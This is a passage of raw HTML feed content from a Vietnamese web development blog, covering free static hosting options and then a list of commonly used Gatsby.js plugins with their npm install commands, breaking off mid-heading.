url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABu0lEQVQoz22SS29TMRCF749nzW9gj1jRlD7CGnUDO8QiadKWJvQ+/BzPePwYw03aBiE+WfbI0vEcnXGHmIwNGIu0RlxiEk5CXFMRTpW4iLR/qLVxqpylc+MP039PsEmwTX6TYMN+a8a1VytQKz+tQK2DXqO5RTMXXq3dtCJ7m/ymq+NVHa+b+izTso7XdbwuwxXtP9H+kvaXYXdh7xf2fuF/nvuHhX9YmLsztf1I+4umll1rTVrDWHI++cu5Ok/WE1Jq/0Nai6l1rUkupe97IppvpbbWAsDuwDCOpeSUOM3wvJhFapU6af3cOYTA6dSEU3Y+WAfaemudNXberTXGamMoRhGZjJvFVapzDgDkJdnM5NQTgyavjNZaK6WU1kYpNU3KOTe7Q5zFpVSlNSIeHprF3+74zZl5u8R3X2IsLebn+7+x1nbHCiBoY6x1x96bIb+/MR9uzPlXbT0aTxAwRiKiGONzZiLd8VBKB8RSXr+ElOgK6oyGmXNK8QVmfjVxtF201qWU06hqmZQehvHX0zApHUIACP6QSzykdRKLCCIBhFdLVaQfxsfHXd/33kMIGA4AACLGw1D/iH8D29+uLeBQW/IAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="google app engine" title="google app engine" src="/static/0d562f6aebea6e1410939d1bbf081001/7c811/hosting-mien-phi-cho-web-tinh-google-app.png" srcset="/static/0d562f6aebea6e1410939d1bbf081001/103f2/hosting-mien-phi-cho-web-tinh-google-app.png 165w, /static/0d562f6aebea6e1410939d1bbf081001/748ba/hosting-mien-phi-cho-web-tinh-google-app.png 330w, /static/0d562f6aebea6e1410939d1bbf081001/7c811/hosting-mien-phi-cho-web-tinh-google-app.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Google App Engine cho phép bạn deploy web tĩnh.</p> <p>Google App Engine hỗ trợ nhiều ngôn ngữ Backend như PHP, Go, Java. Tuy nhiên, với web tĩnh, bạn chỉ cần viết một file config là <strong>app.yaml</strong>.</p> <p><strong>Giá</strong>: miễn phí<br> <strong>Giới hạn</strong>: kích thước 1GB, băng thông 1GB/ngày (56MB/phút)<br> <strong>Thay đổi tên miền</strong>: có<br> <strong>Hỗ trợ SSL</strong>: có<br> <strong>Miễn phí CI</strong>: không<br> <strong>Nâng cấp</strong>: có, nếu bạn vượt quá giới hạn miễn phí, bạn sẽ bị tính tiền tương ứng.</p> <h3 id="10-surge" style="position:relative;"><a href="#10-surge" aria-label="10 surge permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>10. <a href="https://surge.sh/">Surge</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB20lEQVQoz22S2W7aQBSG82AlGHHR9gGaQmkIjXpdqVJfq4kSiiAJS4hZGuMlxiveZrxgGLM5ttvcVrYT2tCMfh0djc53zn9Gs2fcz4x7F4Ye7Ui0LZEar60dM/JgiMzIA8E8ziNPC1w9mKn+VN1MEyTW3jYzfFdGkDIExpR5V2dthYGSMDMoQ4gFhDtLljz4t34L674LI4+bqqfN2mmr1uNH9X6r2r2sdi++X1ZPrmpnncZJq9YXKOdhpfvuMxgEc3lhDkSqwwzrg3bj53Uch536sHN+3WiSvfPuxVm7/uPminc1GKJd29pmKsx0YW4wUCTUMQXiSAORNAQ6yW8VlrUVZWWDYP7fzsl8GCF17bC2wloTUudHGsdAiQai7JnOwwqGaEu+AMd6qlCW1mRhPTZNLv8ln8EgmOPcqDnCByLd40lCGeMc0SLxm/EtDcQ21cM5ok31tc30ZdsSAjQQKUMQEVTXzp0pU0CYLExlaT+Zh9un3oVhiFLFvf3UrZduYUZe+lt2beu+C0IkL8wv374WP344Oq4cVsqVz8flT0eFUvGg+D7Vu8JBoVSkDNH6tUjnP8IwRBICpfLh29dv8vl8LpfLJwfDsGx2fz8TK/Mqg2UxQh1bv5cp/Aca8Ei6suYZOQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="surge" title="surge" src="/static/009a269ef82ecb75ffd29f3706e3253a/7c811/hosting-mien-phi-cho-web-tinh-surge.png" srcset="/static/009a269ef82ecb75ffd29f3706e3253a/103f2/hosting-mien-phi-cho-web-tinh-surge.png 165w, /static/009a269ef82ecb75ffd29f3706e3253a/748ba/hosting-mien-phi-cho-web-tinh-surge.png 330w, /static/009a269ef82ecb75ffd29f3706e3253a/7c811/hosting-mien-phi-cho-web-tinh-surge.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Surge hỗ trợ deploy web tĩnh với CLI. Bạn chỉ cần cài đặt npm module và chạy câu lệnh với surge trực tiếp trong project.</p> <p>Surge cho phép thay đổi tên miền miễn phí và có hỗ trợ SSL cơ bản.</p> <p><strong>Giá</strong>: miễn phí<br> <strong>Giới hạn</strong>: không đề cập<br> <strong>Thay đổi tên miền</strong>: có<br> <strong>Hỗ trợ SSL</strong>: hỗ trợ đầy đủ khi custom domain nếu bạn nâng cấp lên gói trả phí<br> <strong>Miễn phí CI</strong>: không<br> <strong>Nâng cấp</strong>: có, sau khi nâng cấp bạn có thể tùy chỉnh SSL, chuyển hướng, bảo vệ mật khẩu,...</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 10 hosting miễn phí cho web tĩnh - cho phép thay đổi tên miền. Bản thân mình cũng đã sử dụng qua một vài dịch vụ trên đây. Và hiện tại mình đang sử dụng nhiều nhất với Netlify và Github Pages.</p> <p>Có lẽ, do mình sử dụng React và Gatsby.js là chủ yếu nên việc sử dụng 2 dịch vụ trên đã quá đủ và phù hợp.</p> <p>Còn bạn thì sao? Bạn đã / đang sử dụng dịch vụ hosting nào? Ngoài 10 hosting miễn phí cho web tĩnh được đề cập ở trên, bạn có đề xuất dịch vụ nào nữa không?</p> <p>Cho mình biết trong phần bình luận phía dưới nhé!</p>[email protected]<![CDATA[Một số plugin Gatsby.js hay dùng]]><![CDATA[Như mình đã nói trong bài viết về Tạo trang blog với Gatsby.js, framework này hỗ trợ lập trình viên rất nhiều plugin hay. Trong đó, một số plugin là bắt buộc phải có, số còn lại sẽ…]]>https://completejavascript.com/mot-so-plugin-gatsby-js-hay-dung/https://completejavascript.com/mot-so-plugin-gatsby-js-hay-dung/<![CDATA[Command Line]]><![CDATA[Gatsby.js]]><![CDATA[Plugin]]>Wed, 09 Jan 2019 11:53:05 GMT<p>Như mình đã nói trong bài viết về <a href="/tao-trang-blog-voi-gatsby-js/">Tạo trang blog với Gatsby.js</a>, framework này hỗ trợ lập trình viên rất nhiều plugin hay. Trong đó, một số plugin là bắt buộc phải có, số còn lại sẽ hỗ trợ bạn trong một số nhiệm vụ như: hiển thị code, nhúng video, SEO,... Mà theo như thống kê tại trang chủ thì <a href="https://www.gatsbyjs.org/plugins/?=">số lượng plugin hiện tại</a> đã hơn 450 rồi. Tuy nhiên, trong đó chỉ có một số plugin Gatsby.js là hay sử dụng. Vậy chúng là những plugin nào, tác dụng của mỗi plugin là gì? Mời bạn theo dõi bài viết để biết thêm chi tiết nhé!</p> <h2 id="tạo-file-node-từ-file-hệ-thống-với-gatsby-source-filesystem" style="position:relative;"><a href="#t%E1%BA%A1o-file-node-t%E1%BB%AB-file-h%E1%BB%87-th%E1%BB%91ng-v%E1%BB%9Bi-gatsby-source-filesystem" aria-label="tạo file node từ file hệ thống với gatsby source filesystem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo File node từ file hệ thống với gatsby-source-filesystem</h2> <p>Plugin này giúp bạn quét tất cả những file trong project và biến chúng thành File node. Những File node này, sau đó sẽ được sử dụng bởi các plugin khác. Ví dụ như plugin <em>gatsby-transformer-remark</em> sẽ biến File node được tạo từ file Markdown thành <em>MarkdownRemark</em> node. Mà thông qua đó bạn có thể lấy được dữ liệu trong file Markdown bao gồm <em>frontmatter</em> (chứa title, date, chuyên mục, thẻ,...) và nội dung bài viết.</p> <ul> <li>Mức độ: cần thiết</li> <li>Cài đặt: <code>npm install --save gatsby-source-filesystem</code></li> <li>Cách sử dụng: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-source-filesystem/?=gatsby-source-filesystem#how-to-use">đây</a>.</li> </ul> <h2 id="parse-file-markdown-sử-dụng-gatsby-transformer-remark" style="position:relative;"><a href="#parse-file-markdown-s%E1%BB%AD-d%E1%BB%A5ng-gatsby-transformer-remark" aria-label="parse file markdown sử dụng gatsby transformer remark permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Parse file Markdown sử dụng gatsby-transformer-remark</h2> <p>Như mình đã nói ở trên, plugin này giúp bạn parse file Markdown (sử dụng Remark) thành <em>MarkdownRemark</em> node. Qua đó, bạn có thể lấy được data từ file Markdown.</p> <ul> <li>Mức độ: cần thiết</li> <li>Cài đặt: <code>npm install --save gatsby-transformer-remark</code></li> <li>Cách sử dụng cơ bản: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-transformer-remark/?=gatsby-transformer-remark#how-to-use">đây</a>.</li> </ul> <h2 id="xử-lý-ảnh-trong-file-markdown-với-gatsby-remark-images" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-%E1%BA%A3nh-trong-file-markdown-v%E1%BB%9Bi-gatsby-remark-images" aria-label="xử lý ảnh trong file markdown với gatsby remark images permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý ảnh trong file Markdown với gatsby-remark-images</h2> <p>Nếu như nội dung bài viết trong file Markdown sử dụng hình ảnh thì bạn cần phải sử dụng plugin này để có thể xử lý chúng trong sản phẩm thực tế.</p> <p>Quá trình xử lý ảnh sẽ làm cho hình ảnh trở nên responsive bằng cách:</p> <ul> <li>Thêm container để giữ kích thước hình ảnh, tránh gây vỡ giao diện khi load ảnh.</li> <li>Tạo ra nhiều phiên bản của hình ảnh với kích thước khác nhau, sau đó thiết lập giá trị cho <em>srcset</em> và <em>sizes</em> cho thẻ <em>img</em>. Qua đó, tuỳ thuộc vào kích thước màn hình mà hình ảnh tương ứng sẽ được tải.</li> <li>Sử dụng kĩ thuật "blur up" được sử dụng bởi Facebook và Medium. Phương pháp này sử dụng hình ảnh với độ rộng 20px làm <em>placeholder</em> cho đến khi hình ảnh thực tế được tải về.</li> </ul> <p>Plugin này có những đặc điểm:</p> <ul> <li>Mức độ: tuỳ chọn (nếu sử dụng hình ảnh trong Markdown)</li> <li>Phụ thuộc vào các plugin: <em>gatsby-plugin-sharp</em>, <em>gatsby-transformer-remark</em></li> <li>Cài đặt: <code>npm install --save gatsby-remark-images gatsby-plugin-sharp</code></li> <li>Cách sử dụng: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-remark-images/?=gatsby-remark-images#how-to-use">đây</a>.</li> </ul> <h2 id="nhúng-video-vào-file-markdown-với-gatsby-remark-embed-video" style="position:relative;"><a href="#nh%C3%BAng-video-v%C3%A0o-file-markdown-v%E1%BB%9Bi-gatsby-remark-embed-video" aria-label="nhúng video vào file markdown với gatsby remark embed video permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhúng video vào file Markdown với gatsby-remark-embed-video</h2> <p>Để có thể nhúng video từ <em>Youtube</em>, <em>Vimeo</em>, <em>Twitch</em>, <em>VideoPress</em> một cách dễ dàng vào bài viết từ file Markdown, bạn nên sử dụng plugin này.</p> <ul> <li>Mức độ: tuỳ chọn</li> <li>Phụ thuộc vào plugin: <em>gatsby-transformer-remark</em></li> <li>Cài đặt: <code>npm install --save gatsby-remark-embed-video</code></li> <li>Cách sử dụng cơ bản: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-remark-embed-video/?=gatsby-remark-embed-video">đây</a>.</li> </ul> <h2 id="sử-dụng-iframe-trong-markdown-với-gatsby-remark-responsive-iframe" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-iframe-trong-markdown-v%E1%BB%9Bi-gatsby-remark-responsive-iframe" aria-label="sử dụng iframe trong markdown với gatsby remark responsive iframe permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng iframe trong Markdown với gatsby-remark-responsive-iframe</h2> <p>Plugin này sẽ wrap iframe bên trong file Markdown, đảm bảo cho iframe giữ nguyên tỉ lệ và độ rộng bằng 100% container.</p> <ul> <li>Mức độ: tuỳ chọn</li> <li>Phụ thuộc vào plugin: <em>gatsby-transformer-remark</em></li> <li>Cài đặt: <code>npm install --save gatsby-remark-responsive-iframe</code></li> <li>Cách sử dụng: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-remark-responsive-iframe/?=gatsby-remark-responsive-iframe#how-to-use">đây</a>.</li> </ul> <h2 id="hiển-thị-code-trong-markdown-với-gatsby-remark-prismjs" style="position:relative;"><a href="#hi%E1%BB%83n-th%E1%BB%8B-code-trong-markdown-v%E1%BB%9Bi-gatsby-remark-prismjs" aria-label="hiển thị code trong markdown với gatsby remark prismjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hiển thị code trong Markdown với gatsby-remark-prismjs</h2> <p>Đối với những trang web hay phải chia sẻ code thì plugin này là không thể thiếu để hiển thị code một cách đẹp mắt. Để làm được việc này, <em>gatsby-remark-prismjs</em> sử dụng <a href="https://prismjs.com/">PrismJS</a>.</p> <ul> <li>Mức độ: tuỳ chọn</li> <li>Phụ thuộc vào plugin: <em>gatsby-transformer-remark</em></li> <li>Cài đặt: <code>npm install --save gatsby-transformer-remark gatsby-remark-prismjs prismjs</code></li> <li>Cách sử dụng: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-remark-prismjs/?=gatsby-remark-prismjs#how-to-use">đây</a>.</li> </ul> <h2 id="hiển-thị-code-trên-gist-với-gatsby-remark-embed-gist" style="position:relative;"><a href="#hi%E1%BB%83n-th%E1%BB%8B-code-tr%C3%AAn-gist-v%E1%BB%9Bi-gatsby-remark-embed-gist" aria-label="hiển thị code trên gist với gatsby remark embed gist permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hiển thị code trên Gist với gatsby-remark-embed-gist</h2> <p>Nếu bạn cần hiển thị code được lưu trên <a href="https://gist.github.com/discover">Gist</a> thì đây đúng là plugin mà bạn cần.</p> <ul> <li>Mức độ: tuỳ chọn</li> <li>Phụ thuộc vào plugin: <em>gatsby-transformer-remark</em></li> <li>Cài đặt: <code>npm install --save gatsby-remark-embed-gist</code></li> <li>Cách sử dụng: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-remark-embed-gist/?=gatsby-remark-embed-gist#getting-started">đây</a></li> </ul> <h2 id="thêm-google-analytics-vào-trang-web-với-gatsby-plugin-google-analytics" style="position:relative;"><a href="#th%C3%AAm-google-analytics-v%C3%A0o-trang-web-v%E1%BB%9Bi-gatsby-plugin-google-analytics" aria-label="thêm google analytics vào trang web với gatsby plugin google analytics permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thêm Google Analytics vào trang web với gatsby-plugin-google-analytics</h2> <p>Nếu bạn đã từng làm web thì có thể sẽ không còn xa lạ gì với Google Analytics. Đây là một dịch vụ của Google giúp bạn quản lý, theo dõi và phân tích mọi hoạt động trên trang web.</p> <p>Dĩ nhiên, khi đăng ký Google Analytics thì bạn sẽ nhận được một đoạn <em>script</em> để thêm vào trang web. Đối với <a href="/hosting-mien-phi-cho-web-tinh/">trang web tĩnh</a> thì việc này khá đơn giản, bạn chỉ cần copy-paste đoạn script đó vào bên trong thẻ <em>head</em> là được. Còn đối với trang Gatsby, việc sử dụng plugin này là đơn giản hơn cả.</p> <ul> <li>Mức độ: tuỳ chọn</li> <li>Cài đặt: <code>npm install --save gatsby-plugin-google-analytics</code></li> <li>Cách sử dụng: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-plugin-google-analytics/?=gatsby-plugin-google-analytics#how-to-use">đây</a>.</li> </ul> <h2 id="tạo-sitemap-cho-trang-web-với-gatsby-plugin-sitemap" style="position:relative;"><a href="#t%E1%BA%A1o-sitemap-cho-trang-web-v%E1%BB%9Bi-gatsby-plugin-sitemap" aria-label="tạo sitemap cho trang web với gatsby plugin sitemap permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo sitemap cho trang web với gatsby-plugin-sitemap</h2> <p>Để trang web của bạn được index nhanh hơn bởi các search engine (ví dụ Google Search) thì bạn cần phải gửi sitemap cho các search engine xử lý.</p> <p>Sitemap là một file có cấu trúc mà bạn hoàn toàn có thể tạo thủ công và cập nhật mỗi khi có một bài viết mới được tạo ra. Tuy nhiên, nếu sử dụng plugin này thì mọi tiến trình sẽ được thực hiện tự động.</p> <ul> <li>Mức độ: tuỳ chọn</li> <li>Cài đặt: <code>npm install --save gatsby-plugin-sitemap</code></li> <li>Cách sử dụng: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-plugin-sitemap/?=gatsby-plugin-sitemap#how-to-use">đây</a>.</li> </ul> <h2 id="tạo-file-robotstxt-với-gatsby-plugin-robots-txt" style="position:relative;"><a href="#t%E1%BA%A1o-file-robotstxt-v%E1%BB%9Bi-gatsby-plugin-robots-txt" aria-label="tạo file robotstxt với gatsby plugin robots txt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo file robots.txt với gatsby-plugin-robots-txt</h2> <p>Mặc định, khi search engine quét trang web của bạn để index thì nó sẽ quét hết tất cả các trang. Tuy nhiên, có một số file chứa thông tin nhạy cảm mà bạn không muốn hiển thị lên kết quả tìm kiếm thì sao? Lúc này, bạn cần phải định nghĩa trong file robots.txt xem trang nào được phép và trang nào thì không.</p> <p>Vì vậy, plugin này sẽ giúp bạn tạo file robots.txt cho trang Gatsby.</p> <ul> <li>Mức độ: tuỳ chọn</li> <li>Cài đặt: <code>npm install --save gatsby-plugin-robots-txt</code></li> <li>Cách sử dụng: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-plugin-robots-txt/?=gatsby-plugin-robots-txt#how-to-use">đây</a>.</li> </ul> <h2 id="thêm-metadata-vào-trang-web-với-gatsby-plugin-react-helmet" style="position:relative;"><a href="#th%C3%AAm-metadata-v%C3%A0o-trang-web-v%E1%BB%9Bi-gatsby-plugin-react-helmet" aria-label="thêm metadata vào trang web với gatsby plugin react helmet permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thêm metadata vào trang web với gatsby-plugin-react-helmet</h2> <p>Đối với mỗi trang web, metadata là thứ đóng vai trò quan trọng cho việc SEO, bao gồm: tiêu đề, mô tả, đường dẫn hình ảnh, từ khoá,... Những thông tin này tuy không hiển thị trực tiếp cho người xem nhưng lại cung cấp thông tin quan trọng cho các Search Engine để hiển thị bài viết trong kết quả tìm kiếm.</p> <p>Plugin <em>gatsby-plugin-react-helmet</em> sẽ giúp bạn dễ dàng thêm những thông tin cần thiết vào thẻ <em>head</em> của mỗi trang.</p> <ul> <li>Mức độ: tuỳ chọn</li> <li>Cài đặt: <code>npm install --save gatsby-plugin-react-helmet react-helmet</code></li> <li>Cách sử dụng: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-plugin-react-helmet/?=gatsby-plugin-react-helmet#how-to-use">đây</a>.</li> </ul> <h2 id="không-reload-trang-khi-di-chuyển-giữa-các-trang-nội-bộ-với-gatsby-plugin-catch-links" style="position:relative;"><a href="#kh%C3%B4ng-reload-trang-khi-di-chuy%E1%BB%83n-gi%E1%BB%AFa-c%C3%A1c-trang-n%E1%BB%99i-b%E1%BB%99-v%E1%BB%9Bi-gatsby-plugin-catch-links" aria-label="không reload trang khi di chuyển giữa các trang nội bộ với gatsby plugin catch links permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Không reload trang khi di chuyển giữa các trang nội bộ với 